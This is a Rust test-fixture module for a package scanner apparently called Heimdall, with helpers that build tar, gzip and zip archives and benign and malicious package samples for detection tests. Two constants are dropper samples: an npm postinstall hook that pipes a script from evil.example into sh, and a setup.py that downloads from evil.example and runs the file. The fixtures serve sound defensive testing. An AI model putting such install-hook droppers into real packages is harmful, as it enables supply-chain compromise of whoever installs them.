guests/static-scan/tests/common/mod.rs
// SPDX-License-Identifier: AGPL-3.0-only
//! Test fixtures: real gzip'd tar and zip archives, hostile ones written byte
//! by byte, envelopes and a native run. Heimdall is a defensive sandbox; the
//! "droppers" here are inert text that only the scanner reads.
#![allow(dead_code)]
pub mod guests;
use std::io::Write;
use heimdall_guest_static_scan::{scan_pairs, Outcome};
use heimdall_scan::{Check, CheckResult, DataKind, Report, ScanInput, UnknownReason, Verdict};
/// One tar member.
pub enum T<'a> {
File(&'a [u8], &'a [u8]),
Dir(&'a [u8]),
Symlink(&'a [u8], &'a [u8]),
HardLink(&'a [u8], &'a [u8]),
Fifo(&'a [u8]),
}
/// A gzip'd tar of `members`. Names go into the raw header bytes (GNU long
/// names for longer ones), so any name can be written, hostile ones too.
pub fn tgz(members: &[T]) -> Vec<u8> {
gz(&tar_bytes(members))
}
pub fn tar_bytes(members: &[T]) -> Vec<u8> {
let mut b = tar::Builder::new(Vec::new());
for m in members {
let (name, ty, data, link): (&[u8], tar::EntryType, &[u8], Option<&[u8]>) = match m {
T::File(n, d) => (n, tar::EntryType::Regular, d, None),
T::Dir(n) => (n, tar::EntryType::Directory, b"", None),
T::Symlink(n, l) => (n, tar::EntryType::Symlink, b"", Some(l)),
T::HardLink(n, l) => (n, tar::EntryType::Link, b"", Some(l)),
T::Fifo(n) => (n, tar::EntryType::Fifo, b"", None),
};
if name.len() > 99 {
// A GNU long-name record first.
let mut h = tar::Header::new_gnu();
h.as_gnu_mut().unwrap().name[..13].copy_from_slice(b"././@LongLink");
h.set_entry_type(tar::EntryType::GNULongName);
h.set_size(name.len() as u64 + 1);
h.set_mode(0o644);
h.set_cksum();
let mut n = name.to_vec();
n.push(0);
b.append(&h, n.as_slice()).unwrap();
}
let mut h = tar::Header::new_gnu();
let raw = &mut h.as_gnu_mut().unwrap().name;
let k = name.len().min(99);
raw[..k].copy_from_slice(&name[..k]);
h.set_entry_type(ty);
h.set_size(data.len() as u64);
h.set_mode(if ty == tar::EntryType::Directory {
0o755
} else {
0o644
});
if let Some(l) = link {
h.as_gnu_mut().unwrap().linkname[..l.len()].copy_from_slice(l);
}
h.set_cksum();
b.append(&h, data).unwrap();
}
b.into_inner().unwrap()
}
pub fn gz(b: &[u8]) -> Vec<u8> {
let mut e = flate2::write::GzEncoder::new(Vec::new(), flate2::Compression::default());
e.write_all(b).unwrap();
e.finish().unwrap()
}
/// One zip member: name, bytes, deflate or stored, unix mode (0 = none).
pub struct Z<'a> {
pub name: &'a [u8],
pub data: &'a [u8],
pub deflate: bool,
pub mode: u32,
}
impl<'a> Z<'a> {
pub fn file(name: &'a [u8], data: &'a [u8]) -> Z<'a> {
Z {
name,
data,
deflate: true,
mode: 0o100644,
}
}
}
fn deflate(d: &[u8]) -> Vec<u8> {
let mut e = flate2::write::DeflateEncoder::new(Vec::new(), flate2::Compression::default());
e.write_all(d).unwrap();
e.finish().unwrap()
}
/// A zip archive (no zip64, no data descriptors), with real CRC-32s.
pub fn zip(members: &[Z]) -> Vec<u8> {
let mut out = Vec::new();
let mut central = Vec::new();
for m in members {
let body = if m.deflate {
deflate(m.data)
} else {
m.data.to_vec()
};
let off = out.len() as u32;
let method: u16 = if m.deflate { 8 } else { 0 };
out.extend_from_slice(&0x0403_4b50u32.to_le_bytes());
out.extend_from_slice(&20u16.to_le_bytes());
out.extend_from_slice(&0u16.to_le_bytes());
out.extend_from_slice(&method.to_le_bytes());
out.extend_from_slice(&[0; 4]); // time, date
out.extend_from_slice(&crc32fast::hash(m.data).to_le_bytes());
out.extend_from_slice(&(body.len() as u32).to_le_bytes());
out.extend_from_slice(&(m.data.len() as u32).to_le_bytes());
out.extend_from_slice(&(m.name.len() as u16).to_le_bytes());
out.extend_from_slice(&0u16.to_le_bytes());
out.extend_from_slice(m.name);
out.extend_from_slice(&body);
central_entry(
&mut central,
m.name,
method,
crc32fast::hash(m.data),
body.len() as u32,
m.data.len() as u32,
m.mode,
off,
);
}
finish_zip(out, central, members.len() as u16)
}
#[allow(clippy::too_many_arguments)]
pub fn central_entry(
c: &mut Vec<u8>,
name: &[u8],
method: u16,
crc: u32,
comp: u32,
size: u32,
mode: u32,
off: u32,
) {
c.extend_from_slice(&0x0201_4b50u32.to_le_bytes());
c.extend_from_slice(&(0x0300u16 | 20).to_le_bytes()); // made by unix
c.extend_from_slice(&20u16.to_le_bytes());
c.extend_from_slice(&0u16.to_le_bytes());
c.extend_from_slice(&method.to_le_bytes());
c.extend_from_slice(&[0; 4]); // time, date
c.extend_from_slice(&crc.to_le_bytes());
c.extend_from_slice(&comp.to_le_bytes());
c.extend_from_slice(&size.to_le_bytes());
c.extend_from_slice(&(name.len() as u16).to_le_bytes());
c.extend_from_slice(&[0; 8]); // extra, comment, disk, internal attrs
c.extend_from_slice(&(mode << 16).to_le_bytes());
c.extend_from_slice(&off.to_le_bytes());
c.extend_from_slice(name);
}
pub fn finish_zip(mut out: Vec<u8>, central: Vec<u8>, n: u16) -> Vec<u8> {
let cd_off = out.len() as u32;
out.extend_from_slice(¢ral);
out.extend_from_slice(&0x0605_4b50u32.to_le_bytes());
out.extend_from_slice(&[0; 4]);
out.extend_from_slice(&n.to_le_bytes());
out.extend_from_slice(&n.to_le_bytes());
out.extend_from_slice(&(central.len() as u32).to_le_bytes());
out.extend_from_slice(&cd_off.to_le_bytes());
out.extend_from_slice(&0u16.to_le_bytes());
out
}
// ── packages ────────────────────────────────────────────────────────────────
pub const NPM_BENIGN: &[u8] =
br#"{"name":"leftpad-ok","version":"1.0.0","scripts":{"test":"node test.js","build":"tsc"}}"#;
/// The classic dropper: an install hook that fetches and runs stage two.
pub const NPM_DROPPER: &[u8] = br#"{"name":"evil-pkg","version":"1.0.0","scripts":{"postinstall":"curl -s https://evil.example/x.sh | sh"}}"#;
pub const SETUP_BENIGN: &[u8] =
b"from setuptools import setup\nsetup(name='okpkg', version='1.0', packages=['okpkg'])\n";
pub const SETUP_DROPPER: &[u8] = b"import os, urllib.request\nfrom setuptools import setup\nurllib.request.urlretrieve('http://evil.example/p', '/tmp/p')\nos.system('sh /tmp/p')\nsetup(name='okpkg', version='1.0')\n";
pub const PYPROJECT_BENIGN: &[u8] = b"[build-system]\nrequires = [\"setuptools\", \"urllib3\"]\nbuild-backend = \"setuptools.build_meta\"\n\n[project]\nname = \"okpkg\"\nversion = \"1.0\"\ndependencies = [\"urllib3\"]\n\n[project.urls]\nHomepage = \"https://example.org\"\n";
pub fn npm_tgz(package_json: &[u8]) -> Vec<u8> {
tgz(&[
T::Dir(b"package/"),
T::File(b"package/package.json", package_json),
T::File(b"package/index.js", b"module.exports = 1;\n"),
])
}
pub fn sdist(files: &[(&[u8], &[u8])]) -> Vec<u8> {
let members: Vec<T> = files.iter().map(|(n, d)| T::File(n, d)).collect();
tgz(&members)
}
pub fn wheel(extra: &[Z]) -> Vec<u8> {
let mut m = vec![
Z::file(b"okpkg/__init__.py", b"X = 1\n"),
Z::file(
b"okpkg-1.0.dist-info/WHEEL",
b"Wheel-Version: 1.0\nRoot-Is-Purelib: true\n",
),
Z::file(
b"okpkg-1.0.dist-info/METADATA",
b"Metadata-Version: 2.1\nName: okpkg\nVersion: 1.0\n",
),
];
for z in extra {
m.push(Z {
name: z.name,
data: z.data,
deflate: z.deflate,
mode: z.mode,
});
}
zip(&m)
}
pub fn crate_file() -> Vec<u8> {
tgz(&[
T::File(
b"smallvec-1.6.0/Cargo.toml",
b"[package]\nname = \"smallvec\"\nversion = \"1.6.0\"\n",
),
T::File(b"smallvec-1.6.0/src/lib.rs", b"pub fn f() {}\n"),
])
}
// ── running ─────────────────────────────────────────────────────────────────
pub fn envelope(artifact: &[u8], data: &[(DataKind, &[u8])]) -> Vec<u8> {
let mut s = ScanInput::new(artifact);
for (k, v) in data {
s = s.with(*k, *v);
}
s.encode()
}
/// A native run (the same code the wasm guest runs).
pub fn run(input: &[u8], params: &[(&str, &str)]) -> Outcome {
scan_pairs(input, params.iter().copied())
}
/// The report of a run that must be accepted; also proves the document is
/// canonical and valid.
pub fn report(input: &[u8], params: &[(&str, &str)]) -> Report {
match run(input, params) {
Outcome::Report { report, json } => {
let back = Report::from_canonical_json(&json).expect("a valid canonical document");
assert_eq!(back, report);
report
}
Outcome::Refused { reason } => panic!("refused: {reason}"),
}
}
pub fn refusal(input: &[u8], params: &[(&str, &str)]) -> String {
match run(input, params) {
Outcome::Report { report, .. } => panic!("accepted: {report:?}"),
Outcome::Refused { reason } => reason,
}
}
/// One check of an accepted run.
pub fn check(input: &[u8], params: &[(&str, &str)], c: Check) -> CheckResult {
report(input, params)
.check(c)
.unwrap_or_else(|| panic!("check {c} did not run"))
.clone()
}
pub fn ids(r: &CheckResult) -> Vec<&str> {
r.findings.iter().map(|f| f.id.as_str()).collect()
}
pub fn has(r: &CheckResult, id: &str) -> bool {
r.findings
.iter()
.any(|f| f.id == id || f.id.starts_with(&format!("{id}:")))
}
pub fn unknown_code(r: &CheckResult) -> Option<&str> {
r.unknown.as_ref().map(|u: &UnknownReason| u.code.as_str())
}
pub fn assert_clean(r: &CheckResult) {
assert_eq!(r.verdict, Verdict::Clean, "{r:?}");
}
pub fn assert_unknown(r: &CheckResult, code: &str) {
assert_eq!(r.verdict, Verdict::Unknown, "{r:?}");
assert_eq!(unknown_code(r), Some(code), "{r:?}");
}